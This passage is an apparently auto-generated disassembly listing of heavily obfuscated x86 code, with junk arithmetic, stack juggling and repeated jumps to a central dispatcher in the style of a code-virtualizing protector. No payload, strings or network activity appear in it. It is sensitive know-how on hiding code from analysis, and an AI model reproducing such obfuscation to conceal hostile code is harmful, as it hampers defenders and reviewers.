		push	ecx
		mov	ecx, 610A7646h
		add	esi, ecx
		pop	ecx
		mov	ebx, esi
		pop	esi
		mov	esi, 64AE5BD7h
		add	esi, 30447E33h
		sub	esi, ebx
		sub	esi, 30447E33h
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_57523D
; ---------------------------------------------------------------------------


loc_5737DA:				; CODE XREF: ud2_____:0057B0A5j
		mov	edi, esp
		jmp	loc_5798BC
; ---------------------------------------------------------------------------


loc_5737E1:				; CODE XREF: ud2_____:0057CE4Dj
		xor	ebx, 4CA16A16h
		dec	ebx
		push	ebp
		jmp	loc_57D3E0
; ---------------------------------------------------------------------------


loc_5737EE:				; CODE XREF: ud2_____:00573116j
		sub	esp, 4
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_577FB5
; ---------------------------------------------------------------------------


loc_573800:				; CODE XREF: ud2_____:005752A3j
		and	ecx, 11DA30FCh
		xor	ecx, 69F46E7Fh
		jmp	loc_574869
; ---------------------------------------------------------------------------


loc_573811:				; CODE XREF: ud2_____:00571D49j
		add	eax, esi
		sub	eax, 66335540h
		jmp	loc_578A57
; ---------------------------------------------------------------------------


loc_57381D:				; CODE XREF: ud2_____:00574CC2j
		add	edx, 74632E45h
		push	esi
		mov	esi, 7D40699Eh
		add	edx, esi
		pop	esi
		add	edx, 67875F54h
		jmp	loc_574DA8
; ---------------------------------------------------------------------------


loc_573837:				; CODE XREF: ud2_____:00579616j
		xor	eax, 53ED71FEh
		jmp	loc_575440
; ---------------------------------------------------------------------------


loc_573841:				; CODE XREF: ud2_____:0057A015j
		mov	edi, 4
		jmp	loc_574366
; ---------------------------------------------------------------------------


loc_57384B:				; CODE XREF: ud2_____:0057811Ej
		pop	edx
		inc	eax
		push	ebp
		jmp	loc_5733A3
; ---------------------------------------------------------------------------


loc_573853:				; CODE XREF: ud2_____:00579F57j
		pop	dword ptr [esp]
		jmp	loc_575209
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_575703
; ---------------------------------------------------------------------------


loc_573875:				; CODE XREF: ud2_____:005743EDj
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 291F37B1h
		pop	ebx
		jmp	loc_57D78B
; ---------------------------------------------------------------------------


loc_573887:				; CODE XREF: ud2_____:00579530j
		push	ebp
		mov	ebp, 2
		sub	ebx, 5A7E2901h
		jmp	loc_57CE52
; ---------------------------------------------------------------------------


loc_573898:				; CODE XREF: ud2_____:00574267j
		push	1514h
		jmp	loc_578060
; ---------------------------------------------------------------------------


loc_5738A2:				; CODE XREF: ud2_____:0057AD9Aj
		push	ebp
		mov	ebp, 693D4C64h
		jmp	loc_5793D5
; ---------------------------------------------------------------------------


loc_5738AD:				; CODE XREF: ud2_____:0057B2E7j
		sub	ebp, eax
		jmp	loc_57D653
; ---------------------------------------------------------------------------


loc_5738B4:				; CODE XREF: ud2_____:00576D0Dj
		mov	edi, 7270640Ch
		neg	edi
		not	edi
		sub	edi, 0FFFFFFFFh
		jmp	loc_576E88
; ---------------------------------------------------------------------------


loc_5738C5:				; CODE XREF: ud2_____:00573F66j
		add	esp, 4
		jmp	loc_57A0FE
; ---------------------------------------------------------------------------


loc_5738CD:				; CODE XREF: ud2_____:00572A57j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	edx
		not	dword ptr [esp]
		pop	edx
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_57BFC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_5738F2:				; CODE XREF: sub_59C59F-21BCCj
		pop	ebx
		jmp	loc_57CB20
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_5738F8:				; CODE XREF: ud2_____:00578883j
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_57B9B6
; ---------------------------------------------------------------------------


loc_573906:				; CODE XREF: ud2_____:0057808Aj
		push	eax
		mov	eax, 49F011ACh
		and	eax, 219D491Dh
		not	eax
		push	ecx
		push	ebp
		jmp	loc_5763B0
; ---------------------------------------------------------------------------


loc_57391A:				; CODE XREF: ud2_____:00576215j
		sub	ecx, 38076B8Fh
		push	ebx
		jmp	loc_577FC1
; ---------------------------------------------------------------------------


loc_573926:				; CODE XREF: ud2_____:00579F11j
		add	esi, edi
		pop	edi
		add	eax, esi
		jmp	loc_57917A
; ---------------------------------------------------------------------------


loc_573930:				; CODE XREF: ud2_____:0057AAB8j
		pop	ecx
		add	esp, 4
		jmp	loc_5790BF
; ---------------------------------------------------------------------------


loc_57393C:				; CODE XREF: ud2_____:0057AE40j
		pop	ebx
		xor	bl, al
		movzx	eax, al
		mov	dx, [esp]
		jmp	loc_57671D
; ---------------------------------------------------------------------------


loc_57394B:				; CODE XREF: ud2_____:00576AF6j
		mov	ecx, 4
		push	ebp
		jmp	loc_57D7D3
; ---------------------------------------------------------------------------


loc_573956:				; CODE XREF: ud2_____:0057AE95j
		sub	esp, 4
		jmp	loc_579813
; ---------------------------------------------------------------------------


loc_573961:				; CODE XREF: ud2_____:0057C046j
		sub	ebx, 14BA1D5Ah
		jmp	loc_573B80
; ---------------------------------------------------------------------------


loc_57396C:				; CODE XREF: ud2_____:0057700Bj
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_573971:				; CODE XREF: ud2_____:0057950Aj
		shr	dh, 4
		push	small 66DEh
		mov	[esp], ax
		mov	al, 67h
		add	dh, al
		jmp	loc_57D6BB
; ---------------------------------------------------------------------------


loc_573985:				; CODE XREF: ud2_____:0057656Fj
		mov	esp, [esp]
		jmp	loc_57B5ED
; ---------------------------------------------------------------------------


loc_57398D:				; CODE XREF: ud2_____:00574FAFj
		sub	ebp, 1DD94803h
		xor	ebp, 0BF785F77h
		sub	ecx, ebp
		jmp	loc_573DB4
; ---------------------------------------------------------------------------


loc_5739A0:				; CODE XREF: ud2_____:00577B9Fj
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5739A5:				; CODE XREF: ud2_____:00578C61j
		add	al, 0B8h
		jmp	loc_57A549
; ---------------------------------------------------------------------------


loc_5739AC:				; CODE XREF: ud2_____:0057B60Aj
		mov	cl, 53h
		jmp	loc_57CFAF
; ---------------------------------------------------------------------------


loc_5739B3:				; CODE XREF: ud2_____:00575926j
		add	eax, 7D1555B9h
		jmp	loc_57D249
; ---------------------------------------------------------------------------


loc_5739BD:				; CODE XREF: ud2_____:00572262j
		add	dh, 0F9h
		xor	dh, 0B2h
		sub	dh, 0FEh
		xor	dh, 0EFh
		shl	dh, 6
		sub	dh, 0AEh
		mov	ch, dh
		jmp	loc_578ACF
; ---------------------------------------------------------------------------


loc_5739D6:				; CODE XREF: ud2_____:0057D3E8j
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	6B91h
		mov	[esp], edi
		mov	edi, 7CFA673Bh
		xor	edx, edi
		jmp	loc_57BC14
; ---------------------------------------------------------------------------


loc_5739F5:				; CODE XREF: ud2_____:0057CF7Fj
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_57D925
; ---------------------------------------------------------------------------


loc_573A05:				; CODE XREF: ud2_____:0057CB92j
		sub	edx, 5FE36A9Ch
		sub	edx, 5D191897h
		jmp	loc_5798AF
; ---------------------------------------------------------------------------


loc_573A16:				; CODE XREF: ud2_____:0057C692j
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_573A1E:				; CODE XREF: ud2_____:00571E87j
		push	ecx
		jmp	loc_578088
; ---------------------------------------------------------------------------


loc_573A24:				; CODE XREF: ud2_____:00578343j
		push	esp
		pop	ecx
		jmp	loc_57887D
; ---------------------------------------------------------------------------


loc_573A2B:				; CODE XREF: ud2_____:00571C97j
		push	edx
		mov	edx, 143A434Fh
		jmp	loc_575DF3
; ---------------------------------------------------------------------------


loc_573A36:				; CODE XREF: ud2_____:0057CFB5j
		sub	cl, ah
		jmp	loc_576F36
; ---------------------------------------------------------------------------


loc_573A3D:				; CODE XREF: ud2_____:0057493Aj
		mov	eax, 351075F7h
		jmp	loc_57BC22
; ---------------------------------------------------------------------------


loc_573A47:				; CODE XREF: ud2_____:0057B258j
		mov	ebp, [esp]
		jmp	loc_577589
; ---------------------------------------------------------------------------


loc_573A4F:				; CODE XREF: ud2_____:005731D3j
		add	edi, 2
		jmp	loc_57CA92
; ---------------------------------------------------------------------------


loc_573A5A:				; CODE XREF: ud2_____:005764B0j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_573A5F:				; CODE XREF: ud2_____:0057BF2Cj
		sub	eax, ebx
		jmp	loc_57366D
; ---------------------------------------------------------------------------
		lodsd
		push	esi
		mov	esi, 2F697B9Eh
		add	eax, 3CF26765h
		add	eax, 77824AAEh
		sub	eax, esi
		push	ecx
		mov	ecx, 1182437Ah
		sub	ecx, 99FFF8CCh
		sub	eax, ecx
		pop	ecx
		push	edx
		mov	edx, 2ACA511Fh
		jmp	loc_578038
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	7843h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		push	edi
		push	174F1CF5h
		pop	edi
		jmp	loc_5722CA
; ---------------------------------------------------------------------------


loc_573AB3:				; CODE XREF: ud2_____:0057B0DAj
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_574E94
; ---------------------------------------------------------------------------


loc_573AC1:				; CODE XREF: ud2_____:005763B7j
		pop	ebp
		shr	ecx, 8
		jmp	loc_57596C
; ---------------------------------------------------------------------------


loc_573ACA:				; CODE XREF: ud2_____:0057B4A3j
		add	al, 1Dh
		add	al, cl
		jmp	loc_57813E
; ---------------------------------------------------------------------------


loc_573AD3:				; CODE XREF: ud2_____:00575FBEj
		push	285Eh
		mov	[esp], edx
		mov	dh, 0Eh
		xchg	cl, dh
		jmp	loc_571FA4
; ---------------------------------------------------------------------------


loc_573AE4:				; CODE XREF: ud2_____:00579B96j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_579BDF
; ---------------------------------------------------------------------------


loc_573B13:				; CODE XREF: ud2_____:0057515Cj
		add	esi, 4
		push	ebx
		jmp	loc_578727
; ---------------------------------------------------------------------------


loc_573B1F:				; CODE XREF: ud2_____:0057CB84j
		sub	ebx, 5C364FEAh
		add	ebx, edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 17945962h
		add	eax, 1
		push	78DCh
		mov	[esp], ebp
		mov	ebp, 70607E58h
		or	ebp, 6E29136Dh
		shl	ebp, 2
		xor	ebp, 63627120h
		push	eax
		mov	eax, 2D4F3Ah
		jmp	loc_57BC04
; ---------------------------------------------------------------------------


loc_573B5C:				; CODE XREF: ud2_____:0057B125j
		push	ebp
		push	eax
		jmp	loc_57AE57
; ---------------------------------------------------------------------------


loc_573B63:				; CODE XREF: ud2_____:00572B5Bj
		push	ebp
		mov	ebp, 1E0D1852h
		jmp	loc_57B842
; ---------------------------------------------------------------------------


loc_573B6E:				; CODE XREF: ud2_____:00578406j
		pop	esp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	ebp
		mov	ebp, 506B0410h
		mov	ebx, ebp
		jmp	loc_576871
; ---------------------------------------------------------------------------


loc_573B80:				; CODE XREF: ud2_____:00573967j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1048510Dh
		add	ecx, 6E001EDCh
		neg	ecx
		add	ecx, 0B2C07515h
		jmp	loc_57B0EF
; ---------------------------------------------------------------------------


loc_573B9E:				; CODE XREF: ud2_____:00571E3Dj
		and	[esp], al
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_573BA7:				; CODE XREF: ud2_____:00572F65j
		not	edi
		jmp	loc_57DC42
; ---------------------------------------------------------------------------


loc_573BAE:				; CODE XREF: ud2_____:00576E6Dj
		push	small 1418h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_573BBE:				; CODE XREF: ud2_____:0057306Dj
		push	eax
		mov	eax, 280A7C80h
		xor	eax, 3D6E7104h
		jmp	loc_5741B1
; ---------------------------------------------------------------------------


loc_573BCE:				; CODE XREF: ud2_____:0057818Dj
		mov	esp, [esp]
		xor	ebx, eax
		mov	dx, [esp]
		sub	esp, 4
		jmp	loc_573299
; ---------------------------------------------------------------------------


loc_573BDF:				; CODE XREF: ud2_____:0057BD8Bj
		mov	bl, 30h
		shl	bl, 2
		sub	bl, 88h
		push	0E3Eh
		mov	[esp], ecx
		push	ebx
		mov	bl, 44h
		push	eax
		mov	al, bl
		mov	cl, al
		jmp	loc_578F1C
; ---------------------------------------------------------------------------


loc_573BFC:				; CODE XREF: ud2_____:0057A3BFj
		sub	edx, 1D4D2F85h
		add	edx, esi
		add	edx, 1D4D2F85h
		push	eax
		push	ebx
		mov	ebx, 4015186Fh
		jmp	loc_57239C
; ---------------------------------------------------------------------------


loc_573C16:				; CODE XREF: ud2_____:005774D0j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_57B9CD
; ---------------------------------------------------------------------------


loc_573C1F:				; CODE XREF: ud2_____:00574CD8j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_577BD7
; ---------------------------------------------------------------------------


loc_573C2F:				; CODE XREF: ud2_____:0057A7CFj
		pop	edi
		shr	ecx, 2
		jmp	loc_5773FF
; ---------------------------------------------------------------------------


loc_573C38:				; CODE XREF: ud2_____:0057933Aj
		pop	esi
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5772EB
; ---------------------------------------------------------------------------


loc_573C4D:				; CODE XREF: ud2_____:005790F6j
		pop	bx
		sub	ax, cx
		jmp	loc_579C2F
; ---------------------------------------------------------------------------


loc_573C57:				; CODE XREF: ud2_____:00578EDAj
		pop	esp
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	4BD8h
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 668F36D7h
		push	edi
		mov	edi, 40F73FF8h
		push	ebx
		mov	ebx, 48ED4A16h
		sub	edi, ebx
		jmp	loc_572606
; ---------------------------------------------------------------------------
		push	small 2AC8h
		push	sp
		jmp	loc_5791BE
; ---------------------------------------------------------------------------


loc_573C92:				; CODE XREF: ud2_____:00573610j
		push	edx
		jmp	loc_57994F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	eax
		push	ebx
		mov	ebx, 3C8F1DBCh
		sub	ebx, 3C8F1DB8h
		mov	eax, ebx
		pop	ebx
		add	edi, eax
		jmp	loc_575126
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_573CCD:				; CODE XREF: ud2_____:005745A0j
		xor	esi, 9092282h
		add	edi, esi
		pop	esi
		jmp	loc_572449
; ---------------------------------------------------------------------------


loc_573CDB:				; CODE XREF: ud2_____:0057A88Cj
		add	ebp, 14FA6641h
		jmp	loc_57BE5C
; ---------------------------------------------------------------------------


loc_573CE6:				; CODE XREF: ud2_____:005747BFj
		sub	edx, 8B1D68F3h
		jmp	loc_575BF8
; ---------------------------------------------------------------------------


loc_573CF1:				; CODE XREF: ud2_____:0057D832j
		pop	edx
		pop	ecx
		push	ebx
		push	esi
		jmp	loc_57A068
; ---------------------------------------------------------------------------


loc_573CFA:				; CODE XREF: ud2_____:005761DAj
		sub	edx, 1
		jmp	loc_5747EB
; ---------------------------------------------------------------------------


loc_573D02:				; CODE XREF: ud2_____:00577D9Fj
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	ebx, 74340B6Bh
		add	ebx, eax
		sub	esp, 4
		jmp	loc_5757AB
; ---------------------------------------------------------------------------


loc_573D33:				; CODE XREF: ud2_____:0057900Cj
		push	edx
		push	eax
		mov	al, 94h
		mov	dl, 0CDh
		sub	dl, al
		pop	eax
		mov	al, 13h
		add	al, dl
		pop	edx
		sub	al, 56h
		push	ebx
		mov	bl, al
		mov	cl, bl
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		sub	cl, 0D4h
		jmp	loc_57D60D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_575336
; ---------------------------------------------------------------------------


loc_573D66:				; CODE XREF: ud2_____:005734A5j
		mov	[esp], edi
		mov	edx, [esp]
		push	59A8h
		jmp	loc_5761EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_573D76:				; CODE XREF: sub_59C59F-24042j
		mov	ebx, [esp+0]
		add	esp, 4
		xchg	dh, cl
		not	dh
		xchg	dh, cl
		xor	cl, 0DCh
		xor	al, cl
		jmp	loc_5797BF
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_573D8C:				; CODE XREF: ud2_____:005757BEj
		add	edi, ebx
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_57C253
; ---------------------------------------------------------------------------


loc_573DA0:				; CODE XREF: ud2_____:0057D0FFj
		pop	esp
		mul	cx
		push	small 567h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_573DB4:				; CODE XREF: ud2_____:0057399Bj
		pop	ebp
		add	ebp, ecx
		pop	ecx
		xor	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	eax
		mov	eax, 61431C7Dh
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 35041ED1h
		sub	ebx, eax
		jmp	loc_5787B7
; ---------------------------------------------------------------------------


loc_573DEF:				; CODE XREF: ud2_____:0057681Bj
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_573DFD:				; CODE XREF: ud2_____:00579DE1j
		sub	ebp, edi
		pop	edi
		not	ebp
		inc	ebp
		shl	ebp, 7
		xor	ebp, 0D735949h
		sub	eax, 92E0986h
		add	eax, ebp
		jmp	loc_571ECF
; ---------------------------------------------------------------------------


loc_573E18:				; CODE XREF: ud2_____:00575E2Bj
		sub	ebx, 39D916CAh
		pop	edi
		add	ebx, 1
		add	ebx, 20897779h
		mov	edi, ebx
		pop	ebx
		jmp	loc_57BF4E
; ---------------------------------------------------------------------------


loc_573E33:				; CODE XREF: ud2_____:00572BCAj
		add	esp, 4
		push	4EF3h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_57B5FD
; ---------------------------------------------------------------------------


loc_573E57:				; CODE XREF: ud2_____:0057ACC1j
		add	al, 0A3h
		pop	edx
		add	al, bh
		push	ebx
		mov	bl, 64h
		not	bl
		jmp	loc_5752C3
; ---------------------------------------------------------------------------


loc_573E66:				; CODE XREF: ud2_____:005798AAj
		mov	esp, [esp]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_573E6E:				; CODE XREF: ud2_____:00572173j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mul	ecx
		push	66E6h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_573FF9
; ---------------------------------------------------------------------------


loc_573E89:				; CODE XREF: ud2_____:00571FEDj
		mov	ecx, esp
		jmp	loc_5740EA
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_577303
; ---------------------------------------------------------------------------


loc_573E96:				; CODE XREF: ud2_____:00574BE9j
		xor	edx, 4B3E4F18h
		add	edx, 41890B37h
		sub	ecx, 2ACC2D57h
		jmp	loc_5762A6
; ---------------------------------------------------------------------------


loc_573EAD:				; CODE XREF: ud2_____:0057D912j
		pop	esp
		or	eax, eax
		jnz	loc_5735CB
		push	1
		jmp	loc_57D755
; ---------------------------------------------------------------------------


loc_573EC0:				; CODE XREF: ud2_____:0057575Cj
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	185Ch
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_573EFF
; ---------------------------------------------------------------------------


loc_573EE7:				; CODE XREF: ud2_____:00579B47j
		sub	edx, 0B1FD7h
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_57BD61
; ---------------------------------------------------------------------------


loc_573EFF:				; CODE XREF: ud2_____:00573EE2j
		add	ebp, ecx
		jmp	loc_57D49D
; ---------------------------------------------------------------------------


loc_573F06:				; CODE XREF: ud2_____:0057C8F0j
		sub	esp, 4
		mov	[esp], edi
		push	1D9E0549h
		pop	edi
		jmp	loc_574143
; ---------------------------------------------------------------------------


loc_573F17:				; CODE XREF: ud2_____:00578EF9j
		push	eax
		mov	eax, 5C9E67C4h
		neg	eax
		jmp	loc_575761
; ---------------------------------------------------------------------------


loc_573F24:				; CODE XREF: ud2_____:0057BD1Aj
		mov	edi, 4
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	1
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_574346
; ---------------------------------------------------------------------------


loc_573F55:				; CODE XREF: ud2_____:0057C713j
		add	ebp, edi
		add	ebp, 2FD431CAh
		pop	edi
		jmp	loc_57D90F
; ---------------------------------------------------------------------------


loc_573F63:				; CODE XREF: ud2_____:00575862j
		mov	ebx, [esp]
		jmp	loc_5738C5
; ---------------------------------------------------------------------------


loc_573F6B:				; CODE XREF: ud2_____:0057AC78j
		mov	bh, dh
		pop	edx
		pop	ecx
		mov	dl, bh
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_576361
; ---------------------------------------------------------------------------


loc_573F81:				; CODE XREF: ud2_____:0057D508j
		or	ebp, ecx
		pop	ecx
		push	7DF5h
		mov	[esp], esi
		jmp	loc_57D542
; ---------------------------------------------------------------------------


loc_573F91:				; CODE XREF: ud2_____:00579621j
		push	eax
		jmp	loc_57B57F
; ---------------------------------------------------------------------------


loc_573F97:				; CODE XREF: ud2_____:0057B214j
		mov	edx, 4
		sub	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 1
		and	eax, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 2ADC5003h
		push	edi
		mov	edi, 0D523B001h
		add	ebp, 5A75E71h
		jmp	loc_57377B
; ---------------------------------------------------------------------------


loc_573FCC:				; CODE XREF: ud2_____:0057CDE8j
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_578B40
; ---------------------------------------------------------------------------


loc_573FEC:				; CODE XREF: ud2_____:00579238j
		push	small 2144h
		mov	[esp], cx
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_573FF9:				; CODE XREF: ud2_____:00573E84j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_573FFE:				; CODE XREF: ud2_____:0057BE18j
		push	6295h
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		xchg	ecx, edx
		inc	ecx
		jmp	loc_578713
; ---------------------------------------------------------------------------


loc_574012:				; CODE XREF: ud2_____:005766D4j
		mov	ebx, [esp]
		jmp	loc_57A9D8
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_57C2D3
; ---------------------------------------------------------------------------


loc_574025:				; CODE XREF: ud2_____:0057C9B4j
		and	eax, edi
		pop	edi
		push	ecx
		jmp	loc_5750B8
; ---------------------------------------------------------------------------


loc_57402E:				; CODE XREF: ud2_____:005787EAj
		mov	ah, 2Dh
		jmp	loc_572DC4
; ---------------------------------------------------------------------------


loc_574035:				; CODE XREF: ud2_____:00575E58j
		pop	eax
		push	ecx
		jmp	loc_57C119
; ---------------------------------------------------------------------------


loc_57403C:				; CODE XREF: ud2_____:00572716j
		sub	bl, 1Ah
		sub	bl, 1Eh
		add	bl, al
		push	edx
		mov	dl, 0AEh
		inc	dl
		or	dl, 0ADh
		push	eax
		push	ecx
		mov	ch, 0F9h
		mov	al, ch
		pop	ecx
		sub	dl, al
		jmp	loc_574805
; ---------------------------------------------------------------------------


loc_57405A:				; CODE XREF: ud2_____:00576E50j
		mov	eax, esp
		jmp	loc_57324B
; ---------------------------------------------------------------------------


loc_574061:				; CODE XREF: ud2_____:0057CA46j
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ax, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	$+5
		add	ecx, 4
		push	4998h
		mov	[esp], edi
		push	ecx
		mov	ecx, 344173C8h
		mov	edi, ecx
		pop	ecx
		jmp	loc_579F1F
; ---------------------------------------------------------------------------


loc_574093:				; CODE XREF: ud2_____:00578EF1j
		add	esp, 4
		push	eax
		push	edi
		push	ecx
		push	361378BFh
		pop	ecx
		xor	ecx, 54586AE9h
		jmp	loc_57B950
; ---------------------------------------------------------------------------


loc_5740AA:				; CODE XREF: ud2_____:0057BB04j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		dec	dword ptr [esp]
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5740B8:				; CODE XREF: ud2_____:005730F4j
		pop	esp
		jmp	loc_5799B4
; ---------------------------------------------------------------------------


loc_5740BE:				; CODE XREF: ud2_____:0057C379j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_574B34
		push	ebx
		jmp	loc_57CB79
; ---------------------------------------------------------------------------


loc_5740CE:				; CODE XREF: ud2_____:0057A1FBj
		mov	[esp], ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_57A04B
; ---------------------------------------------------------------------------


loc_5740EA:				; CODE XREF: ud2_____:00573E8Bj
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_57D11C
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		jmp	loc_57AE80
; ---------------------------------------------------------------------------


loc_574100:				; CODE XREF: ud2_____:00579C74j
		add	al, 0CAh
		jmp	loc_57D1EE
; ---------------------------------------------------------------------------


loc_574107:				; CODE XREF: ud2_____:0057D961j
		add	edi, 9FA0D7Eh
		add	edi, ecx
		jmp	loc_579E22
; ---------------------------------------------------------------------------


loc_574114:				; CODE XREF: ud2_____:0057957Bj
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_573191
; ---------------------------------------------------------------------------


loc_57411E:				; CODE XREF: ud2_____:005751B5j
		mov	edx, 181152C6h
		sub	edx, 780599Bh
		dec	edx
		xor	edx, 1E57D0Ch
		or	edx, 17296249h
		jmp	loc_57C3F9
; ---------------------------------------------------------------------------


loc_57413B:				; CODE XREF: ud2_____:0057BE6Ej
		push	esi
		push	ebp
		pop	esi
		jmp	loc_57C4F0
; ---------------------------------------------------------------------------


loc_574143:				; CODE XREF: ud2_____:00573F12j
		add	edi, 58395E95h
		inc	edi
		not	edi
		shr	edi, 6
		add	edi, 562C6DDCh
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_575417
; ---------------------------------------------------------------------------


loc_57415F:				; CODE XREF: ud2_____:0057D393j
		push	esp
		pop	ebp
		jmp	loc_5720D0
; ---------------------------------------------------------------------------


loc_574166:				; CODE XREF: ud2_____:0057A838j
		mov	[esp], ebp
		mov	ebp, 203767B7h
		sub	ebp, 738E503Ch
		inc	ebp
		shr	ebp, 5
		jmp	loc_57C594
; ---------------------------------------------------------------------------


loc_57417D:				; CODE XREF: ud2_____:0057C475j
		xchg	dx, bx
		jmp	loc_576561
; ---------------------------------------------------------------------------


loc_574185:				; CODE XREF: ud2_____:0057ACAAj
		add	ebx, 606460D6h
		pop	esi
		jmp	loc_577182
; ---------------------------------------------------------------------------


loc_574191:				; CODE XREF: ud2_____:0057C7E9j
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_57D481
; ---------------------------------------------------------------------------


loc_5741A6:				; CODE XREF: ud2_____:0057D0DCj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57BA76
; ---------------------------------------------------------------------------


loc_5741B1:				; CODE XREF: ud2_____:00573BC9j
		add	eax, 7B8D54A5h
		sub	eax, 681F7529h
		shr	eax, 7
		sub	eax, 51A3D6h
		jmp	loc_57AEED
